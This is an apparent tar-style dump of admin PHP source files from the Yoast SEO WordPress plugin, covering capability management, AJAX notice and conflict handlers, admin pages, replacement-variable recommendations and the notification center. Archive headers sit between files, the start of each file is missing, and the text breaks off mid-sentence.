capabilities/class-capability-utils.php000064400000004536147207033440014304 0ustar00 $applicable_roles ] ); } /** * Retrieves the roles that have the specified capability. * * @param string $capability The name of the capability. * * @return array The names of the roles that have the capability. */ public static function get_applicable_roles( $capability ) { $roles = wp_roles(); $role_names = $roles->get_names(); $applicable_roles = []; foreach ( array_keys( $role_names ) as $role_name ) { $role = $roles->get_role( $role_name ); if ( ! $role ) { continue; } // Add role if it has the capability. if ( array_key_exists( $capability, $role->capabilities ) && $role->capabilities[ $capability ] === true ) { $applicable_roles[] = $role_name; } } return $applicable_roles; } /** * Checks if the current user has at least one of the supplied capabilities. * * @param array $capabilities Capabilities to check against. * * @return bool True if the user has at least one capability. */ protected static function has_any( array $capabilities ) { foreach ( $capabilities as $capability ) { if ( self::has( $capability ) ) { return true; } } return false; } /** * Checks if the user has a certain capability. * * @param string $capability Capability to check against. * * @return bool True if the user has the capability. */ protected static function has( $capability ) { return current_user_can( $capability ); } } capabilities/class-capability-manager.php000064400000001455147207033440014553 0ustar00capabilities[ $capability ] ) ) { $this->capabilities[ $capability ] = $roles; return; } // Combine configurations. $this->capabilities[ $capability ] = array_merge( $roles, $this->capabilities[ $capability ] ); // Remove doubles. $this->capabilities[ $capability ] = array_unique( $this->capabilities[ $capability ] ); } /** * Returns the list of registered capabilitities. * * @return string[] Registered capabilities. */ public function get_capabilities() { return array_keys( $this->capabilities ); } /** * Returns a list of WP_Role roles. * * The string array of role names are converted to actual WP_Role objects. * These are needed to be able to use the API on them. * * @param array $roles Roles to retrieve the objects for. * * @return WP_Role[] List of WP_Role objects. */ protected function get_wp_roles( array $roles ) { $wp_roles = array_map( 'get_role', $roles ); return array_filter( $wp_roles ); } /** * Filter capability roles. * * @param string $capability Capability to filter roles for. * @param array $roles List of roles which can be filtered. * * @return array Filtered list of roles for the capability. */ protected function filter_roles( $capability, array $roles ) { /** * Filter: Allow changing roles that a capability is added to. * * @param array $roles The default roles to be filtered. */ $filtered = apply_filters( $capability . '_roles', $roles ); // Make sure we have the expected type. if ( ! is_array( $filtered ) ) { return []; } return $filtered; } } capabilities/class-capability-manager-vip.php000064400000003640147207033440015345 0ustar00capabilities as $capability => $roles ) { $role_capabilities = $this->get_role_capabilities( $role_capabilities, $capability, $roles ); } foreach ( $role_capabilities as $role => $capabilities ) { wpcom_vip_add_role_caps( $role, $capabilities ); } } /** * Removes the registered capabilities from the system * * @return void */ public function remove() { // Remove from any role it has been added to. $roles = wp_roles()->get_names(); $roles = array_keys( $roles ); $role_capabilities = []; foreach ( array_keys( $this->capabilities ) as $capability ) { // Allow filtering of roles. $role_capabilities = $this->get_role_capabilities( $role_capabilities, $capability, $roles ); } foreach ( $role_capabilities as $role => $capabilities ) { wpcom_vip_remove_role_caps( $role, $capabilities ); } } /** * Returns the roles which the capability is registered on. * * @param array $role_capabilities List of all roles with their capabilities. * @param string $capability Capability to filter roles for. * @param array $roles List of default roles. * * @return array List of capabilities. */ protected function get_role_capabilities( $role_capabilities, $capability, $roles ) { // Allow filtering of roles. $filtered_roles = $this->filter_roles( $capability, $roles ); foreach ( $filtered_roles as $role ) { if ( ! isset( $add_role_caps[ $role ] ) ) { $role_capabilities[ $role ] = []; } $role_capabilities[ $role ][] = $capability; } return $role_capabilities; } } capabilities/class-capability-manager-wp.php000064400000002331147207033440015171 0ustar00capabilities as $capability => $roles ) { $filtered_roles = $this->filter_roles( $capability, $roles ); $wp_roles = $this->get_wp_roles( $filtered_roles ); foreach ( $wp_roles as $wp_role ) { $wp_role->add_cap( $capability ); } } } /** * Unregisters the capabilities from the system. * * @return void */ public function remove() { // Remove from any roles it has been added to. $roles = wp_roles()->get_names(); $roles = array_keys( $roles ); foreach ( $this->capabilities as $capability => $_roles ) { $registered_roles = array_unique( array_merge( $roles, $this->capabilities[ $capability ] ) ); // Allow filtering of roles. $filtered_roles = $this->filter_roles( $capability, $registered_roles ); $wp_roles = $this->get_wp_roles( $filtered_roles ); foreach ( $wp_roles as $wp_role ) { $wp_role->remove_cap( $capability ); } } } } capabilities/class-capability-manager-factory.php000064400000001373147207033440016217 0ustar00 'wpseo_bulk_title', 'plural' => 'wpseo_bulk_titles', 'ajax' => true, ]; /** * The field in the database where meta field is saved. * * @var string */ protected $target_db_field = 'title'; /** * The columns shown on the table. * * @return array */ public function get_columns() { $columns = [ /* translators: %1$s expands to Yoast SEO */ 'col_existing_yoast_seo_title' => sprintf( __( 'Existing %1$s Title', 'wordpress-seo' ), 'Yoast SEO' ), /* translators: %1$s expands to Yoast SEO */ 'col_new_yoast_seo_title' => sprintf( __( 'New %1$s Title', 'wordpress-seo' ), 'Yoast SEO' ), ]; return $this->merge_columns( $columns ); } /** * Parse the title columns. * * @param string $column_name Column name. * @param object $record Data object. * @param string $attributes HTML attributes. * * @return string */ protected function parse_page_specific_column( $column_name, $record, $attributes ) { // Fill meta data if exists in $this->meta_data. $meta_data = ( ! empty( $this->meta_data[ $record->ID ] ) ) ? $this->meta_data[ $record->ID ] : []; switch ( $column_name ) { case 'col_existing_yoast_seo_title': // @todo Inconsistent return/echo behavior R. // I traced the escaping of the attributes to WPSEO_Bulk_List_Table::column_attributes. // The output of WPSEO_Bulk_List_Table::parse_meta_data_field is properly escaped. // phpcs:ignore WordPress.Security.EscapeOutput echo $this->parse_meta_data_field( $record->ID, $attributes ); break; case 'col_new_yoast_seo_title': return sprintf( '', 'wpseo-new-title-' . $record->ID, $record->ID ); } unset( $meta_data ); } } ajax/class-shortcode-filter.php000064400000003067147207033440012572 0ustar00 $shortcode, 'output' => do_shortcode( $shortcode ), ]; } // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: WPSEO_Utils::format_json_encode is considered safe. wp_die( WPSEO_Utils::format_json_encode( $parsed_shortcodes ) ); } } ajax/class-yoast-plugin-conflict-ajax.php000064400000006662147207033440014474 0ustar00 sanitize_text_field( $conflict_data['section'] ), 'plugins' => sanitize_text_field( $conflict_data['plugins'] ), ]; $this->dismissed_conflicts = $this->get_dismissed_conflicts( $conflict_data['section'] ); $this->compare_plugins( $conflict_data['plugins'] ); $this->save_dismissed_conflicts( $conflict_data['section'] ); wp_die( 'true' ); } /** * Getting the user option from the database. * * @return bool|array */ private function get_dismissed_option() { return get_user_meta( get_current_user_id(), $this->option_name, true ); } /** * Getting the dismissed conflicts from the database * * @param string $plugin_section Type of conflict group (such as Open Graph or sitemap). * * @return array */ private function get_dismissed_conflicts( $plugin_section ) { $dismissed_conflicts = $this->get_dismissed_option(); if ( is_array( $dismissed_conflicts ) && array_key_exists( $plugin_section, $dismissed_conflicts ) ) { return $dismissed_conflicts[ $plugin_section ]; } return []; } /** * Storing the conflicting plugins as an user option in the database. * * @param string $plugin_section Plugin conflict type (such as Open Graph or sitemap). * * @return void */ private function save_dismissed_conflicts( $plugin_section ) { $dismissed_conflicts = $this->get_dismissed_option(); $dismissed_conflicts[ $plugin_section ] = $this->dismissed_conflicts; update_user_meta( get_current_user_id(), $this->option_name, $dismissed_conflicts ); } /** * Loop through the plugins to compare them with the already stored dismissed plugin conflicts. * * @param array $posted_plugins Plugin set to check. * * @return void */ public function compare_plugins( array $posted_plugins ) { foreach ( $posted_plugins as $posted_plugin ) { $this->compare_plugin( $posted_plugin ); } } /** * Check if plugin is already dismissed, if not store it in the array that will be saved later. * * @param string $posted_plugin Plugin to check against dismissed conflicts. * * @return void */ private function compare_plugin( $posted_plugin ) { if ( ! in_array( $posted_plugin, $this->dismissed_conflicts, true ) ) { $this->dismissed_conflicts[] = $posted_plugin; } } } ajax/class-yoast-dismissable-notice.php000064400000003716147207033440014231 0ustar00notice_name = $notice_name; $this->notice_type = $notice_type; add_action( 'wp_ajax_wpseo_dismiss_' . $notice_name, [ $this, 'dismiss_notice' ] ); } /** * Handles the dismiss notice request. * * @return void */ public function dismiss_notice() { check_ajax_referer( 'wpseo-dismiss-' . $this->notice_name ); $this->save_dismissed(); wp_die( 'true' ); } /** * Storing the dismissed value in the database. The target location is based on the set notification type. * * @return void */ private function save_dismissed() { if ( $this->notice_type === self::FOR_SITE ) { update_option( 'wpseo_dismiss_' . $this->notice_name, 1 ); return; } if ( $this->notice_type === self::FOR_NETWORK ) { update_site_option( 'wpseo_dismiss_' . $this->notice_name, 1 ); return; } update_user_meta( get_current_user_id(), 'wpseo_dismiss_' . $this->notice_name, 1 ); } } class-option-tab.php000064400000004334147207033440010444 0ustar00name = sanitize_title( $name ); $this->label = $label; $this->arguments = $arguments; } /** * Gets the name. * * @return string The name. */ public function get_name() { return $this->name; } /** * Gets the label. * * @return string The label. */ public function get_label() { return $this->label; } /** * Retrieves whether the tab needs a save button. * * @return bool True whether the tabs needs a save button. */ public function has_save_button() { return (bool) $this->get_argument( 'save_button', true ); } /** * Retrieves whether the tab hosts beta functionalities. * * @return bool True whether the tab hosts beta functionalities. */ public function is_beta() { return (bool) $this->get_argument( 'beta', false ); } /** * Retrieves whether the tab hosts premium functionalities. * * @return bool True whether the tab hosts premium functionalities. */ public function is_premium() { return (bool) $this->get_argument( 'premium', false ); } /** * Gets the option group. * * @return string The option group. */ public function get_opt_group() { return $this->get_argument( 'opt_group' ); } /** * Retrieves the variable from the supplied arguments. * * @param string $variable Variable to retrieve. * @param string|mixed $default_value Default to use when variable not found. * * @return mixed|string The retrieved variable. */ protected function get_argument( $variable, $default_value = '' ) { return array_key_exists( $variable, $this->arguments ) ? $this->arguments[ $variable ] : $default_value; } } pages/tools.php000064400000005507147207033440007527 0ustar00admin_header( false ); if ( $tool_page === '' ) { $tools = []; $tools['import-export'] = [ 'title' => __( 'Import and Export', 'wordpress-seo' ), 'desc' => __( 'Import settings from other SEO plugins and export your settings for re-use on (another) site.', 'wordpress-seo' ), ]; if ( WPSEO_Utils::allow_system_file_edit() === true && ! is_multisite() ) { $tools['file-editor'] = [ 'title' => __( 'File editor', 'wordpress-seo' ), 'desc' => __( 'This tool allows you to quickly change important files for your SEO, like your robots.txt and, if you have one, your .htaccess file.', 'wordpress-seo' ), ]; } $tools['bulk-editor'] = [ 'title' => __( 'Bulk editor', 'wordpress-seo' ), 'desc' => __( 'This tool allows you to quickly change titles and descriptions of your posts and pages without having to go into the editor for each page.', 'wordpress-seo' ), ]; echo '

    '; printf( /* translators: %1$s expands to Yoast SEO */ esc_html__( '%1$s comes with some very powerful built-in tools:', 'wordpress-seo' ), 'Yoast SEO' ); echo '

    '; echo '
    '; } else { echo '', esc_html__( '« Back to Tools page', 'wordpress-seo' ), ''; $tool_pages = [ 'bulk-editor', 'import-export' ]; if ( WPSEO_Utils::allow_system_file_edit() === true && ! is_multisite() ) { $tool_pages[] = 'file-editor'; } if ( in_array( $tool_page, $tool_pages, true ) ) { require_once WPSEO_PATH . 'admin/views/tool-' . $tool_page . '.php'; } } $yform->admin_footer( false ); pages/redirects.php000064400000000376147207033440010352 0ustar00admin_header( true, 'wpseo' ); do_action( 'wpseo_all_admin_notices' ); $dashboard_tabs = new WPSEO_Option_Tabs( 'dashboard' ); $dashboard_tabs->add_tab( new WPSEO_Option_Tab( 'dashboard', __( 'Dashboard', 'wordpress-seo' ), [ 'save_button' => false, ] ) ); /** * Allows the addition of tabs to the dashboard by calling $dashboard_tabs->add_tab(). */ do_action( 'wpseo_settings_tabs_dashboard', $dashboard_tabs ); $dashboard_tabs->display( $yform ); do_action( 'wpseo_dashboard' ); $yform->admin_footer(); pages/network.php000064400000001677147207033440010064 0ustar00admin_header( true, 'wpseo_ms' ); $network_tabs = new WPSEO_Option_Tabs( 'network' ); $network_tabs->add_tab( new WPSEO_Option_Tab( 'general', __( 'General', 'wordpress-seo' ) ) ); $network_tabs->add_tab( new WPSEO_Option_Tab( 'features', __( 'Features', 'wordpress-seo' ) ) ); $network_tabs->add_tab( new WPSEO_Option_Tab( 'integrations', __( 'Integrations', 'wordpress-seo' ) ) ); $network_tabs->add_tab( new WPSEO_Option_Tab( 'crawl-settings', __( 'Crawl settings', 'wordpress-seo' ), [ 'save_button' => true, ] ) ); $network_tabs->add_tab( new WPSEO_Option_Tab( 'restore-site', __( 'Restore Site', 'wordpress-seo' ), [ 'save_button' => false ] ) ); $network_tabs->display( $yform ); $yform->admin_footer(); class-admin-recommended-replace-vars.php000064400000013760147207033440014325 0ustar00 [ 'sitename', 'title', 'sep', 'primary_category' ], 'post' => [ 'sitename', 'title', 'sep', 'primary_category' ], // Homepage. 'homepage' => [ 'sitename', 'sitedesc', 'sep' ], // Custom post type. 'custom_post_type' => [ 'sitename', 'title', 'sep' ], // Taxonomies. 'category' => [ 'sitename', 'term_title', 'sep', 'term_hierarchy' ], 'post_tag' => [ 'sitename', 'term_title', 'sep' ], 'post_format' => [ 'sitename', 'term_title', 'sep', 'page' ], // Custom taxonomy. 'term-in-custom-taxonomy' => [ 'sitename', 'term_title', 'sep', 'term_hierarchy' ], // Settings - archive pages. 'author_archive' => [ 'sitename', 'title', 'sep', 'page' ], 'date_archive' => [ 'sitename', 'sep', 'date', 'page' ], 'custom-post-type_archive' => [ 'sitename', 'title', 'sep', 'page' ], // Settings - special pages. 'search' => [ 'sitename', 'searchphrase', 'sep', 'page' ], '404' => [ 'sitename', 'sep' ], ]; /** * Determines the page type of the current term. * * @param string $taxonomy The taxonomy name. * * @return string The page type. */ public function determine_for_term( $taxonomy ) { $recommended_replace_vars = $this->get_recommended_replacevars(); if ( array_key_exists( $taxonomy, $recommended_replace_vars ) ) { return $taxonomy; } return 'term-in-custom-taxonomy'; } /** * Determines the page type of the current post. * * @param WP_Post $post A WordPress post instance. * * @return string The page type. */ public function determine_for_post( $post ) { if ( $post instanceof WP_Post === false ) { return 'post'; } if ( $post->post_type === 'page' && $this->is_homepage( $post ) ) { return 'homepage'; } $recommended_replace_vars = $this->get_recommended_replacevars(); if ( array_key_exists( $post->post_type, $recommended_replace_vars ) ) { return $post->post_type; } return 'custom_post_type'; } /** * Determines the page type for a post type. * * @param string $post_type The name of the post_type. * @param string $fallback The page type to fall back to. * * @return string The page type. */ public function determine_for_post_type( $post_type, $fallback = 'custom_post_type' ) { $page_type = $post_type; $recommended_replace_vars = $this->get_recommended_replacevars(); $has_recommended_replacevars = $this->has_recommended_replace_vars( $recommended_replace_vars, $page_type ); if ( ! $has_recommended_replacevars ) { return $fallback; } return $page_type; } /** * Determines the page type for an archive page. * * @param string $name The name of the archive. * @param string $fallback The page type to fall back to. * * @return string The page type. */ public function determine_for_archive( $name, $fallback = 'custom-post-type_archive' ) { $page_type = $name . '_archive'; $recommended_replace_vars = $this->get_recommended_replacevars(); $has_recommended_replacevars = $this->has_recommended_replace_vars( $recommended_replace_vars, $page_type ); if ( ! $has_recommended_replacevars ) { return $fallback; } return $page_type; } /** * Retrieves the recommended replacement variables for the given page type. * * @param string $page_type The page type. * * @return array The recommended replacement variables. */ public function get_recommended_replacevars_for( $page_type ) { $recommended_replace_vars = $this->get_recommended_replacevars(); $has_recommended_replace_vars = $this->has_recommended_replace_vars( $recommended_replace_vars, $page_type ); if ( ! $has_recommended_replace_vars ) { return []; } return $recommended_replace_vars[ $page_type ]; } /** * Retrieves the recommended replacement variables. * * @return array The recommended replacement variables. */ public function get_recommended_replacevars() { /** * Filter: Adds the possibility to add extra recommended replacement variables. * * @param array $additional_replace_vars Empty array to add the replacevars to. */ $recommended_replace_vars = apply_filters( 'wpseo_recommended_replace_vars', $this->recommended_replace_vars ); if ( ! is_array( $recommended_replace_vars ) ) { return $this->recommended_replace_vars; } return $recommended_replace_vars; } /** * Returns whether the given page type has recommended replace vars. * * @param array $recommended_replace_vars The recommended replace vars * to check in. * @param string $page_type The page type to check. * * @return bool True if there are associated recommended replace vars. */ private function has_recommended_replace_vars( $recommended_replace_vars, $page_type ) { if ( ! isset( $recommended_replace_vars[ $page_type ] ) ) { return false; } if ( ! is_array( $recommended_replace_vars[ $page_type ] ) ) { return false; } return true; } /** * Determines whether or not a post is the homepage. * * @param WP_Post $post The WordPress global post object. * * @return bool True if the given post is the homepage. */ private function is_homepage( $post ) { if ( $post instanceof WP_Post === false ) { return false; } /* * The page on front returns a string with normal WordPress interaction, while the post ID is an int. * This way we make sure we always compare strings. */ $post_id = (int) $post->ID; $page_on_front = (int) get_option( 'page_on_front' ); return get_option( 'show_on_front' ) === 'page' && $page_on_front === $post_id; } } class-yoast-columns.php000064400000007022147207033440011202 0ustar00display_links(); $meta_columns_present = $this->display_meta_columns(); if ( ! ( $link_columns_present || $meta_columns_present ) ) { return; } $help_tab_content = sprintf( /* translators: %1$s: Yoast SEO */ __( '%1$s adds several columns to this page.', 'wordpress-seo' ), 'Yoast SEO' ); if ( $meta_columns_present ) { $help_tab_content .= ' ' . sprintf( /* translators: %1$s: Link to article about content analysis, %2$s: Anchor closing */ __( 'We\'ve written an article about %1$show to use the SEO score and Readability score%2$s.', 'wordpress-seo' ), '', '' ); } if ( $link_columns_present ) { $help_tab_content .= ' ' . sprintf( /* translators: %1$s: Link to article about text links, %2$s: Anchor closing tag, %3$s: Emphasis open tag, %4$s: Emphasis close tag */ __( 'The links columns show the number of articles on this site linking %3$sto%4$s this article and the number of URLs linked %3$sfrom%4$s this article. Learn more about %1$show to use these features to improve your internal linking%2$s, which greatly enhances your SEO.', 'wordpress-seo' ), '', '', '', '' ); } $screen = get_current_screen(); $screen->add_help_tab( [ /* translators: %s expands to Yoast */ 'title' => sprintf( __( '%s Columns', 'wordpress-seo' ), 'Yoast' ), 'id' => 'yst-columns', 'content' => '

    ' . $help_tab_content . '

    ', 'priority' => 15, ] ); } /** * Retrieves the post type from the $_GET variable. * * @return string The current post type. */ private function get_current_post_type() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['post_type'] ) && is_string( $_GET['post_type'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. return sanitize_text_field( wp_unslash( $_GET['post_type'] ) ); } return ''; } /** * Whether we are showing link columns on this overview page. * This depends on the post being accessible or not. * * @return bool Whether the linking columns are shown */ private function display_links() { $current_post_type = $this->get_current_post_type(); if ( empty( $current_post_type ) ) { return false; } return WPSEO_Post_Type::is_post_type_accessible( $current_post_type ); } /** * Wraps the WPSEO_Metabox check to determine whether the metabox should be displayed either by * choice of the admin or because the post type is not a public post type. * * @return bool Whether the meta box (and associated columns etc) should be hidden. */ private function display_meta_columns() { $current_post_type = $this->get_current_post_type(); if ( empty( $current_post_type ) ) { return false; } return WPSEO_Utils::is_metabox_active( $current_post_type, 'post_type' ); } } class-yoast-notification-center.php000064400000064126147207033440013476 0ustar00get_notification_by_id( $notification_id ); if ( ( $notification instanceof Yoast_Notification ) === false ) { // Permit legacy. $options = [ 'id' => $notification_id, 'dismissal_key' => $notification_id, ]; $notification = new Yoast_Notification( '', $options ); } if ( self::maybe_dismiss_notification( $notification ) ) { die( '1' ); } die( '-1' ); } /** * Check if the user has dismissed a notification. * * @param Yoast_Notification $notification The notification to check for dismissal. * @param int|null $user_id User ID to check on. * * @return bool */ public static function is_notification_dismissed( Yoast_Notification $notification, $user_id = null ) { $user_id = self::get_user_id( $user_id ); $dismissal_key = $notification->get_dismissal_key(); // This checks both the site-specific user option and the meta value. $current_value = get_user_option( $dismissal_key, $user_id ); // Migrate old user meta to user option on-the-fly. if ( ! empty( $current_value ) && metadata_exists( 'user', $user_id, $dismissal_key ) && update_user_option( $user_id, $dismissal_key, $current_value ) ) { delete_user_meta( $user_id, $dismissal_key ); } return ! empty( $current_value ); } /** * Checks if the notification is being dismissed. * * @param Yoast_Notification $notification Notification to check dismissal of. * @param string $meta_value Value to set the meta value to if dismissed. * * @return bool True if dismissed. */ public static function maybe_dismiss_notification( Yoast_Notification $notification, $meta_value = 'seen' ) { // Only persistent notifications are dismissible. if ( ! $notification->is_persistent() ) { return false; } // If notification is already dismissed, we're done. if ( self::is_notification_dismissed( $notification ) ) { return true; } $dismissal_key = $notification->get_dismissal_key(); $notification_id = $notification->get_id(); $is_dismissing = ( $dismissal_key === self::get_user_input( 'notification' ) ); if ( ! $is_dismissing ) { $is_dismissing = ( $notification_id === self::get_user_input( 'notification' ) ); } // Fallback to ?dismissal_key=1&nonce=bla when JavaScript fails. if ( ! $is_dismissing ) { $is_dismissing = ( self::get_user_input( $dismissal_key ) === '1' ); } if ( ! $is_dismissing ) { return false; } $user_nonce = self::get_user_input( 'nonce' ); if ( wp_verify_nonce( $user_nonce, $notification_id ) === false ) { return false; } return self::dismiss_notification( $notification, $meta_value ); } /** * Dismisses a notification. * * @param Yoast_Notification $notification Notification to dismiss. * @param string $meta_value Value to save in the dismissal. * * @return bool True if dismissed, false otherwise. */ public static function dismiss_notification( Yoast_Notification $notification, $meta_value = 'seen' ) { // Dismiss notification. return update_user_option( get_current_user_id(), $notification->get_dismissal_key(), $meta_value ) !== false; } /** * Restores a notification. * * @param Yoast_Notification $notification Notification to restore. * * @return bool True if restored, false otherwise. */ public static function restore_notification( Yoast_Notification $notification ) { $user_id = get_current_user_id(); $dismissal_key = $notification->get_dismissal_key(); // Restore notification. $restored = delete_user_option( $user_id, $dismissal_key ); // Delete unprefixed user meta too for backward-compatibility. if ( metadata_exists( 'user', $user_id, $dismissal_key ) ) { $restored = delete_user_meta( $user_id, $dismissal_key ) && $restored; } return $restored; } /** * Clear dismissal information for the specified Notification. * * When a cause is resolved, the next time it is present we want to show * the message again. * * @param string|Yoast_Notification $notification Notification to clear the dismissal of. * * @return bool */ public function clear_dismissal( $notification ) { global $wpdb; if ( $notification instanceof Yoast_Notification ) { $dismissal_key = $notification->get_dismissal_key(); } if ( is_string( $notification ) ) { $dismissal_key = $notification; } if ( empty( $dismissal_key ) ) { return false; } // Remove notification dismissal for all users. $deleted = delete_metadata( 'user', 0, $wpdb->get_blog_prefix() . $dismissal_key, '', true ); // Delete unprefixed user meta too for backward-compatibility. $deleted = delete_metadata( 'user', 0, $dismissal_key, '', true ) || $deleted; return $deleted; } /** * Retrieves notifications from the storage and merges in previous notification changes. * * The current user in WordPress is not loaded shortly before the 'init' hook, but the plugin * sometimes needs to add or remove notifications before that. In such cases, the transactions * are not actually executed, but added to a queue. That queue is then handled in this method, * after notifications for the current user have been set up. * * @return void */ public function setup_current_notifications() { $this->retrieve_notifications_from_storage( get_current_user_id() ); foreach ( $this->queued_transactions as $transaction ) { list( $callback, $args ) = $transaction; call_user_func_array( $callback, $args ); } $this->queued_transactions = []; } /** * Add notification to the cookie. * * @param Yoast_Notification $notification Notification object instance. * * @return void */ public function add_notification( Yoast_Notification $notification ) { $callback = [ $this, __FUNCTION__ ]; $args = func_get_args(); if ( $this->queue_transaction( $callback, $args ) ) { return; } // Don't add if the user can't see it. if ( ! $notification->display_for_current_user() ) { return; } $notification_id = $notification->get_id(); $user_id = $notification->get_user_id(); // Empty notifications are always added. if ( $notification_id !== '' ) { // If notification ID exists in notifications, don't add again. $present_notification = $this->get_notification_by_id( $notification_id, $user_id ); if ( ! is_null( $present_notification ) ) { $this->remove_notification( $present_notification, false ); } if ( is_null( $present_notification ) ) { $this->new[] = $notification_id; } } // Add to list. $this->notifications[ $user_id ][] = $notification; $this->notifications_need_storage = true; } /** * Get the notification by ID and user ID. * * @param string $notification_id The ID of the notification to search for. * @param int|null $user_id The ID of the user. * * @return Yoast_Notification|null */ public function get_notification_by_id( $notification_id, $user_id = null ) { $user_id = self::get_user_id( $user_id ); $notifications = $this->get_notifications_for_user( $user_id ); foreach ( $notifications as $notification ) { if ( $notification_id === $notification->get_id() ) { return $notification; } } return null; } /** * Display the notifications. * * @param bool $echo_as_json True when notifications should be printed directly. * * @return void */ public function display_notifications( $echo_as_json = false ) { // Never display notifications for network admin. if ( is_network_admin() ) { return; } $sorted_notifications = $this->get_sorted_notifications(); $notifications = array_filter( $sorted_notifications, [ $this, 'is_notification_persistent' ] ); if ( empty( $notifications ) ) { return; } array_walk( $notifications, [ $this, 'remove_notification' ] ); $notifications = array_unique( $notifications ); if ( $echo_as_json ) { $notification_json = []; foreach ( $notifications as $notification ) { $notification_json[] = $notification->render(); } // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: WPSEO_Utils::format_json_encode is safe. echo WPSEO_Utils::format_json_encode( $notification_json ); return; } foreach ( $notifications as $notification ) { // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: Temporarily disabled, see: https://github.com/Yoast/wordpress-seo-premium/issues/2510 and https://github.com/Yoast/wordpress-seo-premium/issues/2511. echo $notification; } } /** * Remove notification after it has been displayed. * * @param Yoast_Notification $notification Notification to remove. * @param bool $resolve Resolve as fixed. * * @return void */ public function remove_notification( Yoast_Notification $notification, $resolve = true ) { $callback = [ $this, __FUNCTION__ ]; $args = func_get_args(); if ( $this->queue_transaction( $callback, $args ) ) { return; } $index = false; // ID of the user to show the notification for, defaults to current user id. $user_id = $notification->get_user_id(); $notifications = $this->get_notifications_for_user( $user_id ); // Match persistent Notifications by ID, non persistent by item in the array. if ( $notification->is_persistent() ) { foreach ( $notifications as $current_index => $present_notification ) { if ( $present_notification->get_id() === $notification->get_id() ) { $index = $current_index; break; } } } else { $index = array_search( $notification, $notifications, true ); } if ( $index === false ) { return; } if ( $notification->is_persistent() && $resolve ) { ++$this->resolved; $this->clear_dismissal( $notification ); } unset( $notifications[ $index ] ); $this->notifications[ $user_id ] = array_values( $notifications ); $this->notifications_need_storage = true; } /** * Removes a notification by its ID. * * @param string $notification_id The notification id. * @param bool $resolve Resolve as fixed. * * @return void */ public function remove_notification_by_id( $notification_id, $resolve = true ) { $notification = $this->get_notification_by_id( $notification_id ); if ( $notification === null ) { return; } $this->remove_notification( $notification, $resolve ); $this->notifications_need_storage = true; } /** * Get the notification count. * * @param bool $dismissed Count dismissed notifications. * * @return int Number of notifications */ public function get_notification_count( $dismissed = false ) { $notifications = $this->get_notifications_for_user( get_current_user_id() ); $notifications = array_filter( $notifications, [ $this, 'filter_persistent_notifications' ] ); if ( ! $dismissed ) { $notifications = array_filter( $notifications, [ $this, 'filter_dismissed_notifications' ] ); } return count( $notifications ); } /** * Get the number of notifications resolved this execution. * * These notifications have been resolved and should be counted when active again. * * @return int */ public function get_resolved_notification_count() { return $this->resolved; } /** * Return the notifications sorted on type and priority. * * @return array|Yoast_Notification[] Sorted Notifications */ public function get_sorted_notifications() { $notifications = $this->get_notifications_for_user( get_current_user_id() ); if ( empty( $notifications ) ) { return []; } // Sort by severity, error first. usort( $notifications, [ $this, 'sort_notifications' ] ); return $notifications; } /** * AJAX display notifications. * * @return void */ public function ajax_get_notifications() { $echo = false; // phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form data. if ( isset( $_POST['version'] ) && is_string( $_POST['version'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are only comparing the variable in a condition. $echo = wp_unslash( $_POST['version'] ) === '2'; } // Display the notices. $this->display_notifications( $echo ); // AJAX die. exit; } /** * Remove storage when the plugin is deactivated. * * @return void */ public function deactivate_hook() { $this->clear_notifications(); } /** * Returns the given user ID if it exists. * Otherwise, this function returns the ID of the current user. * * @param int $user_id The user ID to check. * * @return int The user ID to use. */ private static function get_user_id( $user_id ) { if ( $user_id ) { return $user_id; } return get_current_user_id(); } /** * Splits the notifications on user ID. * * In other terms, it returns an associative array, * mapping user ID to a list of notifications for this user. * * @param array|Yoast_Notification[] $notifications The notifications to split. * * @return array The notifications, split on user ID. */ private function split_on_user_id( $notifications ) { $split_notifications = []; foreach ( $notifications as $notification ) { $split_notifications[ $notification->get_user_id() ][] = $notification; } return $split_notifications; } /** * Save persistent notifications to storage. * * We need to be able to retrieve these so they can be dismissed at any time during the execution. * * @since 3.2 * * @return void */ public function update_storage() { /** * Plugins might exit on the plugins_loaded hook. * This prevents the pluggable.php file from loading, as it's loaded after the plugins_loaded hook. * As we need functions defined in pluggable.php, make sure it's loaded. */ require_once ABSPATH . WPINC . '/pluggable.php'; $notifications = $this->notifications; /** * One array of Yoast_Notifications, merged from multiple arrays. * * @var Yoast_Notification[] $merged_notifications */ $merged_notifications = []; if ( ! empty( $notifications ) ) { $merged_notifications = array_merge( ...$notifications ); } /** * Filter: 'yoast_notifications_before_storage' - Allows developer to filter notifications before saving them. * * @param Yoast_Notification[] $notifications */ $filtered_merged_notifications = apply_filters( 'yoast_notifications_before_storage', $merged_notifications ); // The notifications were filtered and therefore need to be stored. if ( $merged_notifications !== $filtered_merged_notifications ) { $merged_notifications = $filtered_merged_notifications; $this->notifications_need_storage = true; } $notifications = $this->split_on_user_id( $merged_notifications ); // No notifications to store, clear storage if it was previously present. if ( empty( $notifications ) ) { $this->remove_storage(); return; } // Only store notifications if changes are made. if ( $this->notifications_need_storage ) { array_walk( $notifications, [ $this, 'store_notifications_for_user' ] ); } } /** * Stores the notifications to its respective user's storage. * * @param array|Yoast_Notification[] $notifications The notifications to store. * @param int $user_id The ID of the user for which to store the notifications. * * @return void */ private function store_notifications_for_user( $notifications, $user_id ) { $notifications_as_arrays = array_map( [ $this, 'notification_to_array' ], $notifications ); update_user_option( $user_id, self::STORAGE_KEY, $notifications_as_arrays ); } /** * Provide a way to verify present notifications. * * @return array|Yoast_Notification[] Registered notifications. */ public function get_notifications() { if ( ! $this->notifications ) { return []; } return array_merge( ...$this->notifications ); } /** * Returns the notifications for the given user. * * @param int $user_id The id of the user to check. * * @return Yoast_Notification[] The notifications for the user with the given ID. */ public function get_notifications_for_user( $user_id ) { if ( array_key_exists( $user_id, $this->notifications ) ) { return $this->notifications[ $user_id ]; } return []; } /** * Get newly added notifications. * * @return array */ public function get_new_notifications() { return array_map( [ $this, 'get_notification_by_id' ], $this->new ); } /** * Get information from the User 